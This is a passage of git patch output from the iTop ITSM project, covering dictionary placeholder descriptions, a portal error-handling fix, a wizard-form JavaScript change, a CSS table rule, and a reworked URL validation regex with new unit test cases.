'Class:SLA/Attribute:customercontracts_list+' => '', + 'Class:SLA/Attribute:customercontracts_list+' => 'All the customer contracts using this SLA~~', 'Class:SLT' => 'SLT', 'Class:SLT+' => '', 'Class:SLT/Attribute:name' => 'Názov', @@ -1774,9 +1774,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:DeliveryModel/Attribute:description' => 'Popis', 'Class:DeliveryModel/Attribute:description+' => '', 'Class:DeliveryModel/Attribute:contacts_list' => 'Kontakty', - 'Class:DeliveryModel/Attribute:contacts_list+' => '', + 'Class:DeliveryModel/Attribute:contacts_list+' => 'All the contacts (Teams and Person) for this delivery model~~', 'Class:DeliveryModel/Attribute:customers_list' => 'Zákazníci', - 'Class:DeliveryModel/Attribute:customers_list+' => '', + 'Class:DeliveryModel/Attribute:customers_list+' => 'All the customers having this delivering model~~', 'Class:lnkDeliveryModelToContact' => 'väzba - Model dodávky / Kontakt', 'Class:lnkDeliveryModelToContact+' => '', 'Class:lnkDeliveryModelToContact/Attribute:deliverymodel_id' => 'Model dodávky', @@ -1788,19 +1788,19 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:StorageSystem' => 'Úložiskový systém', 'Class:StorageSystem+' => '', 'Class:StorageSystem/Attribute:logicalvolume_list' => 'Logické disky', - 'Class:StorageSystem/Attribute:logicalvolume_list+' => '', + 'Class:StorageSystem/Attribute:logicalvolume_list+' => 'All the logical volumes in this storage system~~', 'Class:SANSwitch' => 'SAN prepínač', 'Class:SANSwitch+' => '', 'Class:SANSwitch/Attribute:datacenterdevice_list' => 'Zariadenia', - 'Class:SANSwitch/Attribute:datacenterdevice_list+' => '', + 'Class:SANSwitch/Attribute:datacenterdevice_list+' => 'All the devices connected to this SAN switch~~', 'Class:TapeLibrary' => 'Pásková knižnica', 'Class:TapeLibrary+' => '', 'Class:TapeLibrary/Attribute:tapes_list' => 'Pásky', - 'Class:TapeLibrary/Attribute:tapes_list+' => '', + 'Class:TapeLibrary/Attribute:tapes_list+' => 'All the tapes in the tape library~~', 'Class:NAS' => 'NAS', 'Class:NAS+' => '', 'Class:NAS/Attribute:nasfilesystem_list' => 'Súborové systémy', - 'Class:NAS/Attribute:nasfilesystem_list+' => '', + 'Class:NAS/Attribute:nasfilesystem_list+' => 'All the file systems in this NAS~~', 'Class:FiberChannelInterface' => 'Optické rozhranie', 'Class:FiberChannelInterface+' => '', 'Class:FiberChannelInterface/Attribute:speed' => 'Rýchlosť', @@ -1848,9 +1848,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:LogicalVolume/Attribute:storagesystem_id' => 'Úložiskový systém', 'Class:LogicalVolume/Attribute:storagesystem_id+' => '', 'Class:LogicalVolume/Attribute:servers_list' => 'Servery', - 'Class:LogicalVolume/Attribute:servers_list+' => '', + 'Class:LogicalVolume/Attribute:servers_list+' => 'All the servers using this volume~~', 'Class:LogicalVolume/Attribute:virtualdevices_list' => 'Virtuálne zariadenia', - 'Class:LogicalVolume/Attribute:virtualdevices_list+' => '', + 'Class:LogicalVolume/Attribute:virtualdevices_list+' => 'All the virtual devices using this volume~~', 'Class:lnkServerToVolume' => 'väzba - Server / Logický Disk', 'Class:lnkServerToVolume+' => '', 'Class:lnkServerToVolume/Attribute:volume_id' => 'Logický Disk', @@ -1896,11 +1896,11 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Ticket/Attribute:private_log' => 'Skrytý záznam', 'Class:Ticket/Attribute:private_log+' => '', 'Class:Ticket/Attribute:contacts_list' => 'Kontakty', - 'Class:Ticket/Attribute:contacts_list+' => '', + 'Class:Ticket/Attribute:contacts_list+' => 'All the contacts linked to this ticket~~', 'Class:Ticket/Attribute:functionalcis_list' => 'Komponenty', - 'Class:Ticket/Attribute:functionalcis_list+' => '', + 'Class:Ticket/Attribute:functionalcis_list+' => 'All the configuration items impacted by this ticket. Items marked as "Computed" have been automatically marked as impacted. Items marked as "Not impacted" are excluded from the impact.~~', 'Class:Ticket/Attribute:workorders_list' => 'Pracovné príkazy', - 'Class:Ticket/Attribute:workorders_list+' => '', + 'Class:Ticket/Attribute:workorders_list+' => 'All the work orders for this ticket~~', 'Class:Ticket/Attribute:finalclass' => 'Typ', 'Class:Ticket/Attribute:finalclass+' => '', 'Class:lnkContactToTicket' => 'väzba - Kontakt / Ticket', @@ -1954,7 +1954,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Farm' => 'Farma', 'Class:Farm+' => '', 'Class:Farm/Attribute:hypervisor_list' => 'Hypervisori', - 'Class:Farm/Attribute:hypervisor_list+' => '', + 'Class:Farm/Attribute:hypervisor_list+' => 'All the hypervisors that compose this farm~~', 'Class:VirtualMachine' => 'Virtuálne zariadenie', 'Class:VirtualMachine+' => '', 'Class:VirtualMachine/Attribute:virtualhost_id' => 'Virtuálny host', @@ -1970,7 +1970,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:VirtualMachine/Attribute:ram' => 'Operačná pamäť', 'Class:VirtualMachine/Attribute:ram+' => '', 'Class:VirtualMachine/Attribute:logicalinterface_list' => 'Zoznam sieťových rozhraní', - 'Class:VirtualMachine/Attribute:logicalinterface_list+' => '', + 'Class:VirtualMachine/Attribute:logicalinterface_list+' => 'All the logical network interfaces~~', 'Class:LogicalInterface' => 'Logické rozhranie', 'Class:LogicalInterface+' => '', 'Class:LogicalInterface/Attribute:virtualmachine_id' => 'Virtuálne zariadenie', @@ -2018,9 +2018,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Change/Attribute:fallback_plan' => 'Návratový plán', 'Class:Change/Attribute:fallback_plan+' => '', 'Class:Change/Attribute:related_request_list' => 'Súvisiace požiadavky', - 'Class:Change/Attribute:related_request_list+' => '', + 'Class:Change/Attribute:related_request_list+' => 'All the user requests linked to this change~~', 'Class:Change/Attribute:child_changes_list' => 'Podriadené zmeny', - 'Class:Change/Attribute:child_changes_list+' => '', + 'Class:Change/Attribute:child_changes_list+' => 'All the sub changes linked to this change~~', 'Class:Change/Stimulus:ev_assign' => 'Prideiť', 'Class:Change/Stimulus:ev_assign+' => '', 'Class:Change/Stimulus:ev_plan' => 'Naplánuj', @@ -2164,7 +2164,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:UserRequest/Attribute:parent_change_id' => 'Nadradená Zmena', 'Class:UserRequest/Attribute:parent_change_id+' => '', 'Class:UserRequest/Attribute:related_request_list' => 'Podriadené požiadavky', - 'Class:UserRequest/Attribute:related_request_list+' => '', + 'Class:UserRequest/Attribute:related_request_list+' => 'All the requests that are linked to this parent request~~', 'Class:UserRequest/Attribute:public_log' => 'Verejný záznam', 'Class:UserRequest/Attribute:public_log+' => '', 'Class:UserRequest/Attribute:user_satisfaction' => 'Spokojnosť užívateľa', @@ -2264,7 +2264,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Contact/Attribute:function' => 'Funkcia', 'Class:Contact/Attribute:function+' => '', 'Class:Contact/Attribute:cis_list' => 'Zariadenia', - 'Class:Contact/Attribute:cis_list+' => '', + 'Class:Contact/Attribute:cis_list+' => 'All the configuration items linked to this contact~~', 'Class:Contact/Attribute:finalclass' => 'Typ kontaktu', 'Class:Contact/Attribute:finalclass+' => '', 'Class:Person/Attribute:name' => 'Priezvisko', @@ -2298,11 +2298,11 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Document/Attribute:status/Value:published' => 'Publikovaný', 'Class:Document/Attribute:status/Value:published+' => '', 'Class:Document/Attribute:cis_list' => 'Komponenty', - 'Class:Document/Attribute:cis_list+' => '', + 'Class:Document/Attribute:cis_list+' => 'All the configuration items linked to this document~~', 'Class:Document/Attribute:contracts_list' => 'Zmluvy', - 'Class:Document/Attribute:contracts_list+' => '', + 'Class:Document/Attribute:contracts_list+' => 'All the contracts linked to this document~~', 'Class:Document/Attribute:services_list' => 'Služby', - 'Class:Document/Attribute:services_list+' => '', + 'Class:Document/Attribute:services_list+' => 'All the services linked to this document~~', 'Class:Document/Attribute:finalclass' => 'Typ dokumentu', 'Class:Document/Attribute:finalclass+' => '', 'Class:FunctionalCI' => 'Komponent', @@ -2326,17 +2326,17 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:FunctionalCI/Attribute:move2production' => 'Dátum presunu do produkcie', 'Class:FunctionalCI/Attribute:move2production+' => '', 'Class:FunctionalCI/Attribute:contacts_list' => 'Kontakty', - 'Class:FunctionalCI/Attribute:contacts_list+' => '', + 'Class:FunctionalCI/Attribute:contacts_list+' => 'All the contacts for this configuration item~~', 'Class:FunctionalCI/Attribute:documents_list' => 'Zoznam dokumentov', - 'Class:FunctionalCI/Attribute:documents_list+' => '', + 'Class:FunctionalCI/Attribute:documents_list+' => 'All the documents linked to this configuration item~~', 'Class:FunctionalCI/Attribute:applicationsolution_list' => 'Zoznam aplikačných riešení', - 'Class:FunctionalCI/Attribute:applicationsolution_list+' => '', + 'Class:FunctionalCI/Attribute:applicationsolution_list+' => 'All the application solutions depending on this configuration item~~', 'Class:FunctionalCI/Attribute:providercontracts_list' => 'Poskytovateľské zmluvy', - 'Class:FunctionalCI/Attribute:providercontracts_list+' => '', + 'Class:FunctionalCI/Attribute:providercontracts_list+' => 'All the provider contracts for this configuration item~~', 'Class:FunctionalCI/Attribute:services_list' => 'Služby', 'Class:FunctionalCI/Attribute:services_list+' => '', 'Class:FunctionalCI/Attribute:softwares_list' => 'Softvér', - 'Class:FunctionalCI/Attribute:softwares_list+' => '', + 'Class:FunctionalCI/Attribute:softwares_list+' => 'All the softwares installed on this configuration item~~', 'Class:FunctionalCI/Attribute:tickets_list' => 'Tickety', 'Class:FunctionalCI/Attribute:tickets_list+' => '', 'Class:FunctionalCI/Attribute:finalclass' => 'Typ komponentu', @@ -2380,9 +2380,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:ConnectableCI' => 'Pripojiteľné zariadenie', 'Class:ConnectableCI+' => '', 'Class:ConnectableCI/Attribute:networkdevice_list' => 'Sieťové zariadenia', - 'Class:ConnectableCI/Attribute:networkdevice_list+' => '', + 'Class:ConnectableCI/Attribute:networkdevice_list+' => 'All network devices connected to this device~~', 'Class:ConnectableCI/Attribute:physicalinterface_list' => 'Sieťové rozhrania', - 'Class:ConnectableCI/Attribute:physicalinterface_list+' => '', + 'Class:ConnectableCI/Attribute:physicalinterface_list+' => 'All the physical network interfaces~~', 'Class:DatacenterDevice' => 'Zariadenie dátového centra', 'Class:DatacenterDevice+' => '', 'Class:DatacenterDevice/Attribute:rack_id' => 'stojan (Rack)', @@ -2406,9 +2406,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:DatacenterDevice/Attribute:powerB_name' => 'Názov zdroja napájania B', 'Class:DatacenterDevice/Attribute:powerB_name+' => '', 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list' => 'Zoznam optických rozhraní', - 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => '', + 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => 'All the fiber channel interfaces for this device~~', 'Class:DatacenterDevice/Attribute:san_list' => 'Úložiská (SAN)', - 'Class:DatacenterDevice/Attribute:san_list+' => '', + 'Class:DatacenterDevice/Attribute:san_list+' => 'All the SAN switches connected to this device~~', 'Class:NetworkDevice/Attribute:networkdevicetype_name' => 'Názov typu sieťového zariadenia', 'Class:NetworkDevice/Attribute:networkdevicetype_name+' => '', 'Class:NetworkDevice/Attribute:iosversion_name' => 'Názov IOS verzie', @@ -2472,11 +2472,11 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:VirtualDevice/Attribute:status/Value:stock' => 'Zásoby', 'Class:VirtualDevice/Attribute:status/Value:stock+' => '', 'Class:VirtualDevice/Attribute:logicalvolumes_list' => 'Zoznam logických dielov', - 'Class:VirtualDevice/Attribute:logicalvolumes_list+' => '', + 'Class:VirtualDevice/Attribute:logicalvolumes_list+' => 'All the logical volumes used by this device~~', 'Class:VirtualHost' => 'Virtuálny host', 'Class:VirtualHost+' => '', 'Class:VirtualHost/Attribute:virtualmachine_list' => 'Zoznam virtuálnych strojov', - 'Class:VirtualHost/Attribute:virtualmachine_list+' => '', + 'Class:VirtualHost/Attribute:virtualmachine_list+' => 'All the virtual machines hosted by this host~~', 'Class:Hypervisor/Attribute:farm_name' => 'Názov farmy', 'Class:Hypervisor/Attribute:farm_name+' => '', 'Class:Hypervisor/Attribute:server_name' => 'Názov serveru', @@ -2512,7 +2512,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Patch/Attribute:name' => 'Názov', 'Class:Patch/Attribute:name+' => '', 'Class:Patch/Attribute:documents_list' => 'Zoznam dokumentov', - 'Class:Patch/Attribute:documents_list+' => '', + 'Class:Patch/Attribute:documents_list+' => 'All the documents linked to this patch~~', 'Class:Patch/Attribute:description' => 'Popis', 'Class:Patch/Attribute:description+' => '', 'Class:Patch/Attribute:finalclass' => 'Typ', @@ -2526,7 +2526,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Licence/Attribute:name' => 'Názov', 'Class:Licence/Attribute:name+' => '', 'Class:Licence/Attribute:documents_list' => 'Zoznam dokumentov', - 'Class:Licence/Attribute:documents_list+' => '', + 'Class:Licence/Attribute:documents_list+' => 'All the documents linked to this license~~', 'Class:Licence/Attribute:org_id' => 'Organizácia', 'Class:Licence/Attribute:org_id+' => '', 'Class:Licence/Attribute:organization_name' => 'Názov organizácie', @@ -2774,9 +2774,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Contract/Attribute:organization_name' => 'Meno zákazníka', 'Class:Contract/Attribute:organization_name+' => '', 'Class:Contract/Attribute:contacts_list' => 'Kontakty', - 'Class:Contract/Attribute:contacts_list+' => '', + 'Class:Contract/Attribute:contacts_list+' => 'All the contacts for this customer contract~~', 'Class:Contract/Attribute:documents_list' => 'Zoznam dokumentov', - 'Class:Contract/Attribute:documents_list+' => '', + 'Class:Contract/Attribute:documents_list+' => 'All the documents for this customer contract~~', 'Class:Contract/Attribute:description' => 'Popis', 'Class:Contract/Attribute:description+' => '', 'Class:Contract/Attribute:start_date' => 'Dátum začiatku', @@ -2931,9 +2931,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Change/Attribute:parent_name' => 'Referencia na rodičovskú zmenu', 'Class:Change/Attribute:parent_name+' => '', 'Class:Change/Attribute:related_incident_list' => 'Súvisiace incidenty', - 'Class:Change/Attribute:related_incident_list+' => '', + 'Class:Change/Attribute:related_incident_list+' => 'All the incidents linked to this change~~', 'Class:Change/Attribute:related_problems_list' => 'Súvisiace problémy', - 'Class:Change/Attribute:related_problems_list+' => '', + 'Class:Change/Attribute:related_problems_list+' => 'All the problems linked to this change~~', 'Class:Change/Attribute:parent_id_friendlyname' => 'Priateľské meno rodičovskej zmeny', 'Class:Change/Attribute:parent_id_friendlyname+' => '', 'Menu:RequestManagement' => 'Helpdesk', diff --git a/dictionaries/sk.dictionary.itop.ui.php b/dictionaries/sk.dictionary.itop.ui.php index d1a1960ca..e7db57eee 100644 --- a/dictionaries/sk.dictionary.itop.ui.php +++ b/dictionaries/sk.dictionary.itop.ui.php @@ -13,7 +13,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:AuditCategory/Attribute:definition_set' => 'Definícia nastavená', 'Class:AuditCategory/Attribute:definition_set+' => '', 'Class:AuditCategory/Attribute:rules_list' => 'Pravidlá auditu', - 'Class:AuditCategory/Attribute:rules_list+' => '', + 'Class:AuditCategory/Attribute:rules_list+' => 'Audit rules for this category~~', )); // @@ -100,9 +100,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:User/Attribute:language/Value:FR FR' => 'Francúzština', 'Class:User/Attribute:language/Value:FR FR+' => '', 'Class:User/Attribute:profile_list' => 'Profily', - 'Class:User/Attribute:profile_list+' => '', + 'Class:User/Attribute:profile_list+' => 'Roles, granting rights for that person~~', 'Class:User/Attribute:allowed_org_list' => 'Povolené organizácie', - 'Class:User/Attribute:allowed_org_list+' => '', + 'Class:User/Attribute:allowed_org_list+' => 'The end user is allowed to see data belonging to the following organizations. If no organization is specified, there is no restriction.~~', 'Class:User/Attribute:status' => 'Status~~', 'Class:User/Attribute:status+' => 'Whether the user account is enabled or disabled.~~', 'Class:User/Attribute:status/Value:enabled' => 'Enabled~~', diff --git a/dictionaries/tr.dictionary.itop.core.php b/dictionaries/tr.dictionary.itop.core.php index 54efad6d4..afc159585 100644 --- a/dictionaries/tr.dictionary.itop.core.php +++ b/dictionaries/tr.dictionary.itop.core.php @@ -572,7 +572,7 @@ Dict::Add('TR TR', 'Turkish', 'Türkçe', array( 'Class:Trigger/Attribute:description' => 'Tanımlama', 'Class:Trigger/Attribute:description+' => 'tek satır tanımlama', 'Class:Trigger/Attribute:action_list' => 'Tetiklenen işlemler', - 'Class:Trigger/Attribute:action_list+' => '', + 'Class:Trigger/Attribute:action_list+' => 'Actions performed when the trigger is activated~~', 'Class:Trigger/Attribute:finalclass' => 'Tip', 'Class:Trigger/Attribute:finalclass+' => '', 'Class:Trigger/Attribute:context' => 'Context~~', From 6d019615d041d4a532ea3c1dff946e1202d70b0e Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Wed, 22 Feb 2023 10:17:34 +0100 Subject: [PATCH 136/230] =?UTF-8?q?N=C2=B05865=20-=20Restore=20DoCheckToWr?= =?UTF-8?q?ite=20error=20messages=20in=20portal?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../itop-portal-base/portal/src/Form/ObjectFormManager.php | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/datamodels/2.x/itop-portal-base/portal/src/Form/ObjectFormManager.php b/datamodels/2.x/itop-portal-base/portal/src/Form/ObjectFormManager.php index 550366661..40fa93b99 100644 --- a/datamodels/2.x/itop-portal-base/portal/src/Form/ObjectFormManager.php +++ b/datamodels/2.x/itop-portal-base/portal/src/Form/ObjectFormManager.php @@ -31,6 +31,7 @@ use Combodo\iTop\Form\Field\LabelField; use Combodo\iTop\Form\Form; use Combodo\iTop\Form\FormManager; use Combodo\iTop\Portal\Helper\ApplicationHelper; +use CoreCannotSaveObjectException; use DBObject; use DBObjectSearch; use DBObjectSet; @@ -1145,6 +1146,9 @@ class ObjectFormManager extends FormManager { $this->oObject->DBWrite(); } + catch (CoreCannotSaveObjectException $e) { + throw new Exception($e->getHtmlMessage()); + } catch (Exception $e) { if ($bIsNew) { throw new Exception(Dict::S('Portal:Error:ObjectCannotBeCreated')); From cac7e94a673384bde3871f81a0c59159469f587a Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Wed, 22 Feb 2023 15:42:20 +0100 Subject: [PATCH 137/230] =?UTF-8?q?N=C2=B05729=20-=20Fix=20disabled=20butt?= =?UTF-8?q?on=20in=20bulk=20update/transition=20when=20picking=20a=20value?= =?UTF-8?q?=20in=20a=20drop-down=20list?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- js/wizardhelper.js | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/js/wizardhelper.js b/js/wizardhelper.js index 51ddf39ae..f13d7216e 100644 --- a/js/wizardhelper.js +++ b/js/wizardhelper.js @@ -151,7 +151,7 @@ function WizardHelper(sClass, sFormPrefix, sState, sInitialState, sStimulus) var sString = "$('#"+aRefreshed[i]+"').trigger('change').trigger('update');"; window.setTimeout(sString, 1); // Synchronous 'trigger' does nothing, call it asynchronously } - if($('.blockUI').length == 0) { + if($('[data-field-status="blocked"]').length === 0) { $('.disabledDuringFieldLoading').prop("disabled", false).removeClass('disabledDuringFieldLoading'); } }; @@ -181,9 +181,11 @@ function WizardHelper(sClass, sFormPrefix, sState, sInitialState, sStimulus) { operation: 'wizard_helper', json_obj: this.ToJSON() }, function(html){ $('#ajax_content').html(html); - $('.blockUI').parent().unblock(); + $('[data-field-status="blocked"]') + .attr('data-field-status', 'ready') + .unblock(); - if($('.blockUI').length == 0) { + if($('[data-field-status="blocked"]').length === 0) { $('.disabledDuringFieldLoading').prop("disabled", false).removeClass('disabledDuringFieldLoading'); } //console.log('data received:', oWizardHelper); @@ -229,16 +231,18 @@ function WizardHelper(sClass, sFormPrefix, sState, sInitialState, sStimulus) sFieldId = this.GetFieldId(sAttCode); if (sFieldId !== undefined) { $('#fstatus_' + sFieldId).html(''); - $('#field_' + sFieldId).find('div').block({ - message: '', - overlayCSS: {backgroundColor: '#f1f1f1', opacity: 0.3} + $('#field_' + sFieldId).find('div') + .attr('data-field-status', 'blocked') + .block({ + message: '', + overlayCSS: {backgroundColor: '#f1f1f1', opacity: 0.3} }); fieldForm = $('#field_' + sFieldId).closest('form'); this.RequestAllowedValues(sAttCode); } index++; } - if ((fieldForm !== null) && ($('.blockUI').length > 0)) { + if ((fieldForm !== null) && ($('[data-field-status="blocked"]').length > 0)) { fieldForm.find('button[type=submit]:not(:disabled)').prop("disabled", true).addClass('disabledDuringFieldLoading'); } this.AjaxQueryServer(); From ea2140258c2bd457a911475820b91a743c6ff127 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 22 Feb 2023 18:57:56 +0100 Subject: [PATCH 138/230] =?UTF-8?q?N=C2=B05317=20-=20Handle=20overlapping?= =?UTF-8?q?=20tables=20when=20table=20cells=20have=20fixed=20widths?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- css/backoffice/utils/helpers/_misc.scss | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/css/backoffice/utils/helpers/_misc.scss b/css/backoffice/utils/helpers/_misc.scss index 845208ba1..88c0809ed 100644 --- a/css/backoffice/utils/helpers/_misc.scss +++ b/css/backoffice/utils/helpers/_misc.scss @@ -159,6 +159,16 @@ body.ibo-has-fullscreen-descendant { border-spacing: 2px; } + /* + * N°5317 - Handle overlapping tables when table cells have fixed widths + * Force table cell NOT to have a fixed width and to wrap when necessary + */ + td { + width: unset !important; + word-break: break-word !important; + white-space: unset !important; + } + /* Preserve original text color in code blocks, except for the Highlight.js blocks which have their own colors */ & > code, code:not(.hljs) { From f55fc8d264c357135c744e6327c235e25f37bc79 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 23 Feb 2023 10:59:38 +0100 Subject: [PATCH 139/230] =?UTF-8?q?N=C2=B06014=20Validation=20pattern=20fo?= =?UTF-8?q?r=20URL=20:=20now=20handles=20commas=20in=20params=20(#356)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Seen on PRTG URLs Co-authored-by: Molkobain --- core/attributedef.class.inc.php | 11 +++++++++++ core/config.class.inc.php | 15 +++++---------- .../unitary-tests/core/AttributeURLTest.php | 13 +++++++------ 3 files changed, 23 insertions(+), 16 deletions(-) diff --git a/core/attributedef.class.inc.php b/core/attributedef.class.inc.php index d8edb8cb1..30c72ebb0 100644 --- a/core/attributedef.class.inc.php +++ b/core/attributedef.class.inc.php @@ -7664,6 +7664,17 @@ class AttributeExternalField extends AttributeDefinition */ class AttributeURL extends AttributeString { + /** + * @var string + * SCHEME....... USER....................... PASSWORD.......................... HOST/IP........... PORT.......... PATH......................... GET............................................ ANCHOR.......................... + * Example: http://User:passWord@127.0.0.1:8888/patH/Page.php?arrayArgument[2]=something:blah20#myAnchor + * @link http://www.php.net/manual/fr/function.preg-match.php#93824 regexp source + * @since 3.0.1 N°4515 handle Alfresco and Sharepoint URLs + * @since 3.0.3 moved from Config to AttributeURL constant + */ + public const DEFAULT_VALIDATION_PATTERN = /** @lang RegExp */ + '(https?|ftp)\://([a-zA-Z0-9+!*(),;?&=\$_.-]+(\:[a-zA-Z0-9+!*(),;?&=\$_.-]+)?@)?([a-zA-Z0-9-.]{3,})(\:[0-9]{2,5})?(/([a-zA-Z0-9:%+\$_-]\.?)+)*/?(\?[a-zA-Z+&\$_.-][a-zA-Z0-9;:[\]@&%=+/\$_.,-]*)?(#[a-zA-Z0-9_.-][a-zA-Z0-9+\$_.-]*)?'; + /** * Useless constructor, but if not present PHP 7.4.0/7.4.1 is crashing :( (N°2329) * diff --git a/core/config.class.inc.php b/core/config.class.inc.php index 166a2d322..2894cf4a6 100644 --- a/core/config.class.inc.php +++ b/core/config.class.inc.php @@ -899,16 +899,11 @@ class Config 'show_in_conf_sample' => false, ], 'url_validation_pattern' => [ - 'type' => 'string', - 'description' => 'Regular expression to validate/detect the format of an URL (URL attributes and Wiki formatting for Text attributes)', - 'default' => /** @lang RegExp */ - '(https?|ftp)\://([a-zA-Z0-9+!*(),;?&=\$_.-]+(\:[a-zA-Z0-9+!*(),;?&=\$_.-]+)?@)?([a-zA-Z0-9-.]{3,})(\:[0-9]{2,5})?(/([a-zA-Z0-9:%+\$_-]\.?)+)*/?(\?[a-zA-Z+&\$_.-][a-zA-Z0-9;:[\]@&%=+/\$_.-]*)?(#[a-zA-Z0-9_.-][a-zA-Z0-9+\$_.-]*)?', - // SCHEME....... USER....................... PASSWORD.......................... HOST/IP........... PORT.......... PATH......................... GET............................................ ANCHOR.......................... - // Example: http://User:passWord@127.0.0.1:8888/patH/Page.php?arrayArgument[2]=something:blah20#myAnchor - // RegExp source: http://www.php.net/manual/fr/function.preg-match.php#93824 - // Update with N°4515 - 'value' => '', - 'source_of_value' => '', + 'type' => 'string', + 'description' => 'Regular expression to validate/detect the format of an URL (URL attributes and Wiki formatting for Text attributes)', + 'default' => AttributeURL::DEFAULT_VALIDATION_PATTERN, + 'value' => '', + 'source_of_value' => '', 'show_in_conf_sample' => true, ], 'email_validation_pattern' => [ diff --git a/tests/php-unit-tests/unitary-tests/core/AttributeURLTest.php b/tests/php-unit-tests/unitary-tests/core/AttributeURLTest.php index bd257d629..551fc329a 100644 --- a/tests/php-unit-tests/unitary-tests/core/AttributeURLTest.php +++ b/tests/php-unit-tests/unitary-tests/core/AttributeURLTest.php @@ -33,13 +33,14 @@ class AttributeURLTest extends ItopTestCase { public function CheckFormatProvider(): array { return [ - 'Simple https URL' => ['https://www.combodo.com/itop', 1], - 'Simple FTP URL' => ['ftp://user:password@myftp.mydomain.com', 1], - 'Sharepoint URL 1' => ['https://mydomain1.sharepoint.com/:i:/r/sites/DSIMyDept/Shared%20Documents/Architecture%20Technique/02%20-%20R%C3%A9seau/Baie%2025C/Baie%201er/Baie-25C-1er.jpg?csf=1&web=1&e=Il3txR', 1], - 'Sharepoint URL 2' => ['https://mydomain2.sharepoint.com/:u:/r/sites/DIS/ITSM/00_Admin_iTOP/iTop%20-%20Upgrade%20manuel/Procedure%20upgrade%20Combodo.url?csf=1&web=1&e=DAF0i3', 1], - 'Alfresco URL 2' => ['http://alfresco.mydomain3.org/share/page/site/books/document-details?nodeRef=workspace://SpacesStore/6274f55f-a25b-4762-a863-77f7066f2034', 1], - 'SF URL' => ['https://sourceforge.net/p/itop/discussion/customizing-itop/thread/707145b859/?limit=25#f53c', 1], + 'Simple https URL' => ['https://www.combodo.com/itop', 1], + 'Simple FTP URL' => ['ftp://user:password@myftp.mydomain.com', 1], + 'Sharepoint URL 1' => ['https://mydomain1.sharepoint.com/:i:/r/sites/DSIMyDept/Shared%20Documents/Architecture%20Technique/02%20-%20R%C3%A9seau/Baie%2025C/Baie%201er/Baie-25C-1er.jpg?csf=1&web=1&e=Il3txR', 1], + 'Sharepoint URL 2' => ['https://mydomain2.sharepoint.com/:u:/r/sites/DIS/ITSM/00_Admin_iTOP/iTop%20-%20Upgrade%20manuel/Procedure%20upgrade%20Combodo.url?csf=1&web=1&e=DAF0i3', 1], + 'Alfresco URL 2' => ['http://alfresco.mydomain3.org/share/page/site/books/document-details?nodeRef=workspace://SpacesStore/6274f55f-a25b-4762-a863-77f7066f2034', 1], + 'SF URL' => ['https://sourceforge.net/p/itop/discussion/customizing-itop/thread/707145b859/?limit=25#f53c', 1], 'SF URL anchor starting with digit' => ['https://sourceforge.net/p/itop/discussion/customizing-itop/thread/b0a2d474ba/?limit=25#2b35', 1], + 'URL param containing commas' => ['http://mydomain.prtg.com/chart.png?type=graph&width=1500&height=700&hide=2,3,6,7,8,9,10,11,12,13,14&graphstyling=showLegend%3D%271%27+baseFontSize%3D%2715%27&graphid=0&id=34759&username=portaluser&passhash=2353031973', 1], ]; } } From cb2be0eccd356dc206f9bd82342246572d820935 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 23 Feb 2023 11:16:44 +0100 Subject: [PATCH 140/230] =?UTF-8?q?N=C2=B05121=20New=20AttributeURL=20vali?= =?UTF-8?q?dation=20use=20case=20In=20comment=20as=20it=20isn't=20handled?= =?UTF-8?q?=20yet?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/php-unit-tests/unitary-tests/core/AttributeURLTest.php | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/php-unit-tests/unitary-tests/core/AttributeURLTest.php b/tests/php-unit-tests/unitary-tests/core/AttributeURLTest.php index 551fc329a..2415f9a14 100644 --- a/tests/php-unit-tests/unitary-tests/core/AttributeURLTest.php +++ b/tests/php-unit-tests/unitary-tests/core/AttributeURLTest.php @@ -41,6 +41,7 @@ class AttributeURLTest extends ItopTestCase { 'SF URL' => ['https://sourceforge.net/p/itop/discussion/customizing-itop/thread/707145b859/?limit=25#f53c', 1], 'SF URL anchor starting with digit' => ['https://sourceforge.net/p/itop/discussion/customizing-itop/thread/b0a2d474ba/?limit=25#2b35', 